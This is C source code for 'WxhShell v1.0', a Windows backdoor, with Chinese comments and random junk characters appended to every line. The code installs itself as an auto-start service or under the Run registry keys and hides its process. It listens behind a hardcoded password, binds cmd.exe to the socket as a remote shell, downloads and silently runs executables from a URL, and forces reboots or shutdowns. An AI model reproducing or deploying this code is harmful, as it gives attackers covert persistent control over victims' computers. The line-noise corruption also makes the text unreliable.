    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0(.C f.B~  
    if(Boot(SHUTDOWN)) of<OOh%3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DvKMb-*S  
    else { S+ x [1#r  
    closesocket(wsh); U_04QwhK7  
    ExitThread(0); 8 F 1ga15  
    } !"">'}E1  
    break; 4^A'A.0  
    } !b Km}1T  
  // 获取shell <Z wEdq  
  case 's': {  yw^, @'  
    CmdShell(wsh); v7RDoO]I  
    closesocket(wsh); TR;-xst@  
    ExitThread(0); <]J5AdJ  
    break; [:Y^0[2  
  } {rr\hl-$  
  // 退出 ?/g(Y  
  case 'x': { R2gax;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m{" zFD/  
    CloseIt(wsh); @bE?WXY  
    break; H$HhB8z3  
    } !ym5' h  
  // 离开 ng\S%nA&J  
  case 'q': { ~Y$1OA8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Il[WXt<S  
    closesocket(wsh); $NSYQF%aO  
    WSACleanup(); O5"80z38[  
    exit(1); &'j77tqOk  
    break; ;* Jd#O  
        } hy rJu{p  
  } m[rJFSpef  
  } -A~<IyPt  
MsiSC  
  // 提示信息 n%hnL$!z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vOU -bF%u  
} ?z.`rD$}(n  
  } l K%Hb=  
a$-ax[:\sm  
  return; _t7A'`Dh]  
} g.qp _O  
hHQt4 r'd  
// shell模块句柄 Obm\h*$  
int CmdShell(SOCKET sock) :>u{BG;=79  
{ e!y t<[ph  
STARTUPINFO si; 0Oq1ay^  
ZeroMemory(&si,sizeof(si)); mNzZ/*n:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; # jyAq$I0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6C=.8eP  
PROCESS_INFORMATION ProcessInfo; nfEk,(:  
char cmdline[]="cmd"; 2oRmro  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o@-cT`HP  
  return 0; V"z0]DP5~  
} 9lwg`UWl,  
}#@LZ)]hK  
// 自身启动模式 ]cK@nq)  
int StartFromService(void) 4D5)<3N=d'  
{ Y-9F*8<  
typedef struct 16U@o>O  
{ -rBj-4|"  
  DWORD ExitStatus; c_ i;'  
  DWORD PebBaseAddress; _`_$U MK;  
  DWORD AffinityMask; od>.5{o  
  DWORD BasePriority; _{8boDX#  
  ULONG UniqueProcessId; \hVFK6  
  ULONG InheritedFromUniqueProcessId; r0,}f\  
}   PROCESS_BASIC_INFORMATION; F$v G=3  
|b'AWI81D  
PROCNTQSIP NtQueryInformationProcess; w67Pw  
8dNJZoV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TOs|f8ay  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b?l\Q Mvi  
G4~J+5m k  
  HANDLE             hProcess; GOjri  
  PROCESS_BASIC_INFORMATION pbi; o<;"+@v  
U-d&q>_@A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u&:jQ:[  
  if(NULL == hInst ) return 0; YZd4% zF  
\_oHuw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YR>xh2< 9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fQ@["b   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o5d)v)Rx=  
pE#0949  
  if (!NtQueryInformationProcess) return 0; )DW;Gc  
;NEHbLH#F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <_}u5E)7(  
  if(!hProcess) return 0; l?d*g&  
xK f+.6 wz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gw-l]@;1  
 _~r>C  
  CloseHandle(hProcess); "&~Um U4CN  
wiZK-#\x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6N ^FJCs  
if(hProcess==NULL) return 0; &e{&<ZVR  
{|50&]m  
HMODULE hMod; MC3{LVNK  
char procName[255]; q QQ~ [JL  
unsigned long cbNeeded; i=+ "[h^  
k&*=:y}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0< !BzG  
<?!#QA  
  CloseHandle(hProcess); 3:r;(IaX  
dCBJV  
if(strstr(procName,"services")) return 1; // 以服务启动 JyV"jL   
>:.Bn8-  
  return 0; // 注册表启动 3s+D x$Ud  
} Z+4J4Ka^!(  
1*s Lj#  
// 主模块 @d)6LA9Ec  
int StartWxhshell(LPSTR lpCmdLine) q;U[f6JjE  
{ aV1(DZ83  
  SOCKET wsl; MQ01!Y[q_7  
BOOL val=TRUE; DLVf7/=3~  
  int port=0; #qzozQ4  
  struct sockaddr_in door; ^K8Ey#T  
.- w*&Hd7b  
  if(wscfg.ws_autoins) Install(); e(b*T  
VrHFM(RNe  
port=atoi(lpCmdLine); Q%6*S!~  
0YKG`W  
if(port<=0) port=wscfg.ws_port; m$3&r2vgi  
:)&_  
  WSADATA data; FXIQS'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^ `!6Yax?  
5 gE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hTF]-& hZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W n|w~{d{  
  door.sin_family = AF_INET; v vFX\j3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h4]yIM `8d  
  door.sin_port = htons(port); nlKWZYv  
N( Cfv3{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3S Dw-k  
closesocket(wsl); ]kr OPM/  
return 1; =6ojkTk  
} zg|]Ic  
2$|WXYY  
  if(listen(wsl,2) == INVALID_SOCKET) { IRLT -  
closesocket(wsl); Y?Xs Z  
return 1; X\_ku?]v  
} Av{1~%hU  
  Wxhshell(wsl); Rv }e+5F  
  WSACleanup(); HyB!8M|  
&uC7W.|  
return 0; P9gIKOOx#4  
]R( =)  
} f"S^:F0  
k#U?Xs>  
// 以NT服务方式启动 m)&2zV/Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wj5{f5 RWV  
{ S?&ntUah  
DWORD   status = 0; uSH.c>  
  DWORD   specificError = 0xfffffff; (JOge~U  
1aKY+4/G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -(dc1?COi  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [W` _`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2\_}81 hM  
  serviceStatus.dwWin32ExitCode     = 0; /S%{`F=  
  serviceStatus.dwServiceSpecificExitCode = 0; C"K(-/  
  serviceStatus.dwCheckPoint       = 0; Z{|wjZb(  
  serviceStatus.dwWaitHint       = 0; +as(m  
XK>B mq/]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {qK>A?9  
  if (hServiceStatusHandle==0) return; YajUdpJi  
}k$2r3  
status = GetLastError();  RCKb5p9  
  if (status!=NO_ERROR) #Fq6-]y1")  
{ {eL XVNR7R  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;V@o 2a  
    serviceStatus.dwCheckPoint       = 0; G7 b>r  
    serviceStatus.dwWaitHint       = 0; &G:#7HX@-  
    serviceStatus.dwWin32ExitCode     = status; y]+q mNw"+  
    serviceStatus.dwServiceSpecificExitCode = specificError; YFeF(k!!n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }}@x x&  
    return; id'E_]r  
  } J#"@~Q+a`@  
\G:\36l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *bsS%qD]  
  serviceStatus.dwCheckPoint       = 0; (X;D.s  
  serviceStatus.dwWaitHint       = 0; s:CsUl|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MqRpG5 .  
} N2WQrTA:S+  
"6o}g.  
// 处理NT服务事件,比如:启动、停止 [5yLg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w,n&K6<  
{ edD19A  
switch(fdwControl) bkTk:-L5:  
{ [jU.58*  
case SERVICE_CONTROL_STOP: ]hRCB=G  
  serviceStatus.dwWin32ExitCode = 0; qXcHf6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J sde+G,N  
  serviceStatus.dwCheckPoint   = 0; R1)v;^B|)  
  serviceStatus.dwWaitHint     = 0; :+06M@  
  { [f 4Nq \i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7S|nn|\Kp  
  } ' GcN9D  
  return; 6B'd]Fe  
case SERVICE_CONTROL_PAUSE:  [,JUC<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VXX7Y? !  
  break; ei%L[>N  
case SERVICE_CONTROL_CONTINUE: Pv@Lx+ k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1ayL*tr  
  break; L;6L@D6  
case SERVICE_CONTROL_INTERROGATE: G&,F-|`  
  break; RDGefxv  
}; p,0J $L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z7)la |  
} vr/*z euA  
O1[`2kj^HB  
// 标准应用程序主函数 ;hzm&My  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M<$a OW0  
{ hhRUC&Y%V  
-y]e`\+[  
// 获取操作系统版本 u4hC/!  
OsIsNt=GetOsVer(); gqw ]L>Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^N# z&oh  
Q6%dM'fR  
  // 从命令行安装 Q0l[1;$#  
  if(strpbrk(lpCmdLine,"iI")) Install(); {{N*/ E^  
@~1}n/  
  // 下载执行文件 },#@q_E  
if(wscfg.ws_downexe) { l<X8Ooan#{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4TX~]tEyky  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ts)ox}rYVm  
} Y~,ZBl,  
HFlMx  
if(!OsIsNt) { ^I!u H1G  
// 如果时win9x,隐藏进程并且设置为注册表启动 4@0y$Dv\  
HideProc(); x:dI:G  
StartWxhshell(lpCmdLine); n3x< L:)  
} BeFCt;  
else -aSj-  
  if(StartFromService()) f~a]og5|G  
  // 以服务方式启动 P~xP@? I%  
  StartServiceCtrlDispatcher(DispatchTable); ZE393FnE  
else ,Kl6vw8Htg  
  // 普通方式启动 ~!//|q^ J]  
  StartWxhshell(lpCmdLine); #u]'3en  
 a>6@1liT  
return 0; mLGbwm'K  
} S1SsJo2\  
5|:t$  
}:SWgPfc  
(58}G2}q  
=========================================== $<DcbJW  
m6wrG`-di  
 {@E(p4W  
^&8FwV]  
>tGl7Ov  
&-R(u}m-F  
" mqrV:3}  
7j,u&%om  
#include <stdio.h> aI^Z0[P+  
#include <string.h> VelR8tjP  
#include <windows.h> o!$O+%4  
#include <winsock2.h> X7."hGu@  
#include <winsvc.h> i`st'\I  
#include <urlmon.h> ,2>nr goM  
1[4 2f#  
#pragma comment (lib, "Ws2_32.lib") e]5 n4"]D)  
#pragma comment (lib, "urlmon.lib") OUM^ u*  
MqKf'6z  
#define MAX_USER   100 // 最大客户端连接数 D2N<a=#  
#define BUF_SOCK   200 // sock buffer DWXxB  
#define KEY_BUFF   255 // 输入 buffer FV~ENpncP  
x%]5Q/|Ur  
#define REBOOT     0   // 重启 vHmsS\\~9  
#define SHUTDOWN   1   // 关机 nGoQwKIW  
K3*8-Be  
#define DEF_PORT   5000 // 监听端口 )y#~eYn  
;:Kd?Tz$  
#define REG_LEN     16   // 注册表键长度 A,fPl R  
#define SVC_LEN     80   // NT服务名长度 Gq)E,Ln&d  
veq.48E]  
// 从dll定义API k\/idd[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qi51'@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #^i.[7p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :@oy5zib  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i!KZg74V  
+ $Yld{i  
// wxhshell配置信息 **KkPjAO?  
struct WSCFG { L;%_r)  
  int ws_port;         // 监听端口 7%` \E9t  
  char ws_passstr[REG_LEN]; // 口令 *h9S\Pv>j  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q |1-j  
  char ws_regname[REG_LEN]; // 注册表键名 4).i4]%LH  
  char ws_svcname[REG_LEN]; // 服务名 P;' xa^Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rfH'&k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .e Jt]K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f=,(0ygt/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f%gdFtJ &  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q'9}Hz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'h*^;3@*  
.5AyB9a%&  
}; I 7 B$X=  
XLq%nVBM8\  
// default Wxhshell configuration Ec4+wRWk85  
struct WSCFG wscfg={DEF_PORT, P/?'ea  
    "xuhuanlingzhe", c|hT\1XR,  
    1, rY:A LA  
    "Wxhshell", Et0[HotO  
    "Wxhshell", 4z*An}ol]  
            "WxhShell Service", \ )'`F; P  
    "Wrsky Windows CmdShell Service", #]vs*Sz  
    "Please Input Your Password: ", FBk_LEcX  
  1, ]>_Ie?L)<  
  "http://www.wrsky.com/wxhshell.exe", v<u`wnt  
  "Wxhshell.exe" |,)=-21&;  
    }; 9V/:1I0?&0  
^hyY,X  
// 消息定义模块 k. @OFkX.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I[g;p8jr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,z@"pI b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3U\| E  
char *msg_ws_ext="\n\rExit."; i pi^sCYp  
char *msg_ws_end="\n\rQuit."; _&U.DMt2 C  
char *msg_ws_boot="\n\rReboot..."; ~jOn)jBRZ  
char *msg_ws_poff="\n\rShutdown..."; OA?pBA  
char *msg_ws_down="\n\rSave to "; Uja`{uc  
lKT<aYX  
char *msg_ws_err="\n\rErr!"; x sN)a!  
char *msg_ws_ok="\n\rOK!"; 9*b(\Z)N  
w$fP$ \+  
char ExeFile[MAX_PATH]; <n|ayxA)  
int nUser = 0; | f}1bJE+  
HANDLE handles[MAX_USER]; Lbwc2Q,.-  
int OsIsNt; TDY2 M  
<RaUs2Q3.  
SERVICE_STATUS       serviceStatus; 6aMG!_jC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {1VMwANj  
:d{-"RAG"  
// 函数声明 !M*$p Qi}  
int Install(void); XI/LVP,.  
int Uninstall(void); kaG@T,pH(  
int DownloadFile(char *sURL, SOCKET wsh); &CcUr#|  
int Boot(int flag); s%OPoRE  
void HideProc(void); D.;iz>_}Y  
int GetOsVer(void); "> ]{t[Ib  
int Wxhshell(SOCKET wsl); xC}9W6  
void TalkWithClient(void *cs); l.3|0lopX)  
int CmdShell(SOCKET sock); IMT]!j&Y,  
int StartFromService(void); JIH6!  
int StartWxhshell(LPSTR lpCmdLine); fFiFS\''V  
Mv%"aFC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E/5/5'gBJO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zho$g9*  
,)beK*Iw  
// 数据结构和表定义 8?z7!k]  
SERVICE_TABLE_ENTRY DispatchTable[] = Eb.k:8?Tn  
{ 1Vi3/JM @  
{wscfg.ws_svcname, NTServiceMain}, D\CjR6DE  
{NULL, NULL} u+_6V  
}; 6aq=h`Y  
[,?5}'we  
// 自我安装 *^=zQ~  
int Install(void) E,wOWs*  
{ ,2MLYW,  
  char svExeFile[MAX_PATH]; i[V\RKH*F  
  HKEY key; hwj:$mR  
  strcpy(svExeFile,ExeFile); [PP &}.k4"  
vOV$Hle  
// 如果是win9x系统,修改注册表设为自启动 j.:I{!R#  
if(!OsIsNt) { -qNun3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fnZ?YzLI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2Q81#i'Cm  
  RegCloseKey(key); F!*tE&Se+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -RKqbfmi=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U_.9H _G  
  RegCloseKey(key); o4F?Rx,L  
  return 0; Bh0hUE  
    } FzM<0FJRX  
  } <Y"h2#M"  
} mR3-+dB/  
else { 5!V%0EQqw  
C;jV)hr6P  
// 如果是NT以上系统,安装为系统服务 S( Vssi|y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^X\SwgD2w  
if (schSCManager!=0) Uz$.sa  
{ 5u=$m^@{  
  SC_HANDLE schService = CreateService /_{B_2i/>  
  ( yNDplm|9*  
  schSCManager, [#mRlL0yk  
  wscfg.ws_svcname, (JI[y"2  
  wscfg.ws_svcdisp,  J]4pPDm  
  SERVICE_ALL_ACCESS, B$D7}=|kc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8lZB3p]X  
  SERVICE_AUTO_START, @F/yc  
  SERVICE_ERROR_NORMAL, mK_2VZj&  
  svExeFile, :ND e<6?u  
  NULL, \\iX9-aI<  
  NULL, @0[#XA_>  
  NULL, 8H@]v@Z2  
  NULL, W"[Q=$2<<  
  NULL I:=rwnd  
  ); Bp9_\4  
  if (schService!=0) %k =c9ll@:  
  { 2|}`?bY]i`  
  CloseServiceHandle(schService); D\0q lCAs  
  CloseServiceHandle(schSCManager); zbgH}6b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ({!S!k  
  strcat(svExeFile,wscfg.ws_svcname); 1G`zwfmh~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }[mLtv%&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b2Oj 1dP1  
  RegCloseKey(key); Zp qb0ro  
  return 0; S17 c#6vT  
    } ^_5t5>  
  } d]r?mnN W  
  CloseServiceHandle(schSCManager); 155vY  
} DNu-Ce%  
} HD!2|b ~@  
 eo&^~OVT  
return 1; q .s'z}  
} L&LAh&%{2  
dBb &sA-A  
// 自我卸载  P0<)E  
int Uninstall(void) H{U(Rt]K  
{ 5[0W+W  
  HKEY key; ,?oC+9w  
kK%@cIXS3  
if(!OsIsNt) { q5#6PYIq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _h^er+d!_  
  RegDeleteValue(key,wscfg.ws_regname); 8k9Yoht  
  RegCloseKey(key); &1Cif$Y4w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kps}i~Jb  
  RegDeleteValue(key,wscfg.ws_regname); |YcYWok  
  RegCloseKey(key); !$pnE:K  
  return 0; 32z2c:G  
  } x%`tWE|  
} 1<D^+FC4b,  
} b"pN;v  
else { /C6$B)w_*{  
3 4:Y_*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !t!'  
if (schSCManager!=0) mTBSntZx  
{ #7Jvk_r9Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DDBf89$\  
  if (schService!=0) %G/(7l[W  
  { pF<KhE*V  
  if(DeleteService(schService)!=0) { `dJ?j[P,p  
  CloseServiceHandle(schService); S5/p3;O\c  
  CloseServiceHandle(schSCManager); qlm7eS"sy  
  return 0; o7kQ&w   
  } #ja6nt8GC  
  CloseServiceHandle(schService); 3DOc,}nI~@  
  } bZ[ay-f6oK  
  CloseServiceHandle(schSCManager); 'b:UafV  
} 4Hq6nT/  
} bPA1>p7  
BT|n+Y[  
return 1; ^KUM4. 6  
} &Pe[kCO]  
s8+{##"1 q  
// 从指定url下载文件 EYR%u'&7'  
int DownloadFile(char *sURL, SOCKET wsh) bltZQI|  
{ 9S/X,|i  
  HRESULT hr; x \b+B  
char seps[]= "/"; /[+qw%>  
char *token; =|V[^#V  
char *file; vRMGNz_P7[  
char myURL[MAX_PATH]; 4vyJ<b  
char myFILE[MAX_PATH]; Fd/Ra]@\Y  
Rja>N)MzBf  
strcpy(myURL,sURL); '#u=w yp  
  token=strtok(myURL,seps); Z> <,t~o}  
  while(token!=NULL) S.|%dz  
  { }WnoI2  
    file=token; chXTFLC~  
  token=strtok(NULL,seps); UHS{X~CS e  
  } p+}eP|N  
d6ckvD[  
GetCurrentDirectory(MAX_PATH,myFILE); =VGRM#+D  
strcat(myFILE, "\\"); C)BVsHT4  
strcat(myFILE, file); ^2LqKo\T  
  send(wsh,myFILE,strlen(myFILE),0); nVoP:FHH  
send(wsh,"...",3,0); xG:7AGZ$[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); oH1]-Nl$  
  if(hr==S_OK) n0b{Jg *  
return 0; FF~VV<a  
else \me-#: Gu  
return 1; =~q Xzq  
UQnv#a>  
} :Fdk`aC  
GB{Q)L  
// 系统电源模块 , %A2wV  
int Boot(int flag) )F m'i&F_  
{ } QpyU%  
  HANDLE hToken; 3Gt@Fo=  
  TOKEN_PRIVILEGES tkp; #C+7~ns'  
@vPGkM#oW  
  if(OsIsNt) { ] 69z-;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C A$R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (d#W3  
    tkp.PrivilegeCount = 1; qb KcI+)47  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YJ{_%z|U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q],/%W  
if(flag==REBOOT) { # 66vkf*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j1K?QH=e#{  
  return 0; $j&2bO 5M  
} `3L?x8g  
else { F32U;fp3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C8$/z>tQ  
  return 0; G$1gk^G's  
} [-2Tj)P C  
  } Y*YV/E.  
  else { <zp|i#~  
if(flag==REBOOT) { H;Gd  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s=1w6ZLD  
  return 0; Atod&qH  
} k!{h]D0  
else { ~"22X`;h[G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Eg0qY\'  
  return 0; vnH[D)`@  
} z6'l" D'h  
} I ka V g L  
~i=5NUE  
return 1; CM 8Ub%  
} rQ&F Gb  
)P9&I.a8  
// win9x进程隐藏模块 ~}ba2dU8  
void HideProc(void) g&d tOjM  
{ 2qPQ3-'  
` W{y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M~-jPY,+  
  if ( hKernel != NULL ) M (.Up  
  { /igbn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A#CGD0T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xcC^9BAj  
    FreeLibrary(hKernel); 7jYW3  
  } :+UahwiRD"  
HfA@tZ5q|U  
return; <%=@Ue  
} zN>tSdNkI-  
H)NT2@%{P  
// 获取操作系统版本 Rs53R$PIR  
int GetOsVer(void) +6\1 d5  
{ 9`5qVM1O{  
  OSVERSIONINFO winfo; qWw{c&{Q],  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )Qc>NF0  
  GetVersionEx(&winfo); v Yw$m#@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h;t5v6["  
  return 1; Kr74|W=  
  else rB.LG'GG]  
  return 0; |=#uzp7*  
} eG%Q 3h  
e*pYlm  
// 客户端句柄模块 %$zX a%A  
int Wxhshell(SOCKET wsl) dwmZ_m.  
{ |"k+j_/+  
  SOCKET wsh; o '!WW  
  struct sockaddr_in client; 5+Hw @CY3  
  DWORD myID; c8M'/{4rH  
)X5en=[)O  
  while(nUser<MAX_USER) v9l|MI15V  
{ kT4Oal+4  
  int nSize=sizeof(client); a'YK1QX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |v= */e  
  if(wsh==INVALID_SOCKET) return 1; )r6d3-p1  
H1a<&7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Rx.dM_S  
if(handles[nUser]==0) |gM@}!DL  
  closesocket(wsh); P{o/ /M  
else I] 0 D*z  
  nUser++; Ugv"A;l  
  } .u&GbM%Ga  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [TX5O\g![  
/Pgc W  
  return 0; ^:,I #]  
} [ h~#5x  
T |ZJ$E0  
// 关闭 socket o7t#yw3  
void CloseIt(SOCKET wsh) }XIUz|  
{ "78BApjWT6  
closesocket(wsh); rWxQ;bb#  
nUser--; 75RQ\_zDu  
ExitThread(0); SD=9fh0l  
} w$[ck=  
.dl4f"k  
// 客户端请求句柄 TZ]o6Bb  
void TalkWithClient(void *cs) \,yX3R3}.~  
{ <h mRr  
KcF#c_f   
  SOCKET wsh=(SOCKET)cs; =Vi>?fWpn=  
  char pwd[SVC_LEN]; AJR`ohh  
  char cmd[KEY_BUFF]; lb[\Lzdvmu  
char chr[1]; W5zlU2  
int i,j; UN7J6$!Cx7  
xGo,x+U*  
  while (nUser < MAX_USER) { <ly.l]g  
[E4#|w  
if(wscfg.ws_passstr) { qn#f:xltu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l]KxUkA+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FOD_m&+  
  //ZeroMemory(pwd,KEY_BUFF); ?;?$\ b=  
      i=0; [Z{0|NR  
  while(i<SVC_LEN) { qo5WZ be  
2^T`> ?{X  
  // 设置超时 \EOPlyf8x  
  fd_set FdRead; U+'h~P'4  
  struct timeval TimeOut; e$=0.GWT  
  FD_ZERO(&FdRead); U8icP+Y  
  FD_SET(wsh,&FdRead); yfCdK-9+B  
  TimeOut.tv_sec=8; o%$'-N  
  TimeOut.tv_usec=0; Bd-@@d.H<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LSW1,}/B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +6+!M_0wA  
2JS&zF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _S;Fs|p_  
  pwd=chr[0]; <R @w0b>  
  if(chr[0]==0xd || chr[0]==0xa) { UsBtk  
  pwd=0; j5]6 CG_  
  break; l[Rl:k!  
  } 0ntf%#2{  
  i++; Qlgii_?#@  
    } =RH7j  
3( `NHS~h  
  // 如果是非法用户,关闭 socket O'~;|-Z<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;&MI M`&$  
} WwYy[3U  
~x 0x.-^A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x,>r}I>^Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cuW&X9\m,  
3 CArUP  
while(1) { @"gWv s  
$l<(*,,l  
  ZeroMemory(cmd,KEY_BUFF); kqyPb$Wy  
tv8}O([  
      // 自动支持客户端 telnet标准   k^v P|*eu  
  j=0; ?^z.WQ|f@  
  while(j<KEY_BUFF) { E4dN,^_ F!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H:>i:\J/M9  
  cmd[j]=chr[0]; 1.y|bB+kB  
  if(chr[0]==0xa || chr[0]==0xd) { K`#bLCXEV0  
  cmd[j]=0; :{ Q[kYj  
  break; ";$rcg"%X  
  } f*& 4d  
  j++; @ob4y  
    } MH=;[| N  
Zcg@]Sx(I  
  // 下载文件 K84Ve Ae  
  if(strstr(cmd,"http://")) { -=CZhp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O0Sk?uJ <  
  if(DownloadFile(cmd,wsh)) ^P !} "  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K|g+W t^tQ  
  else u?+i5=N9{  
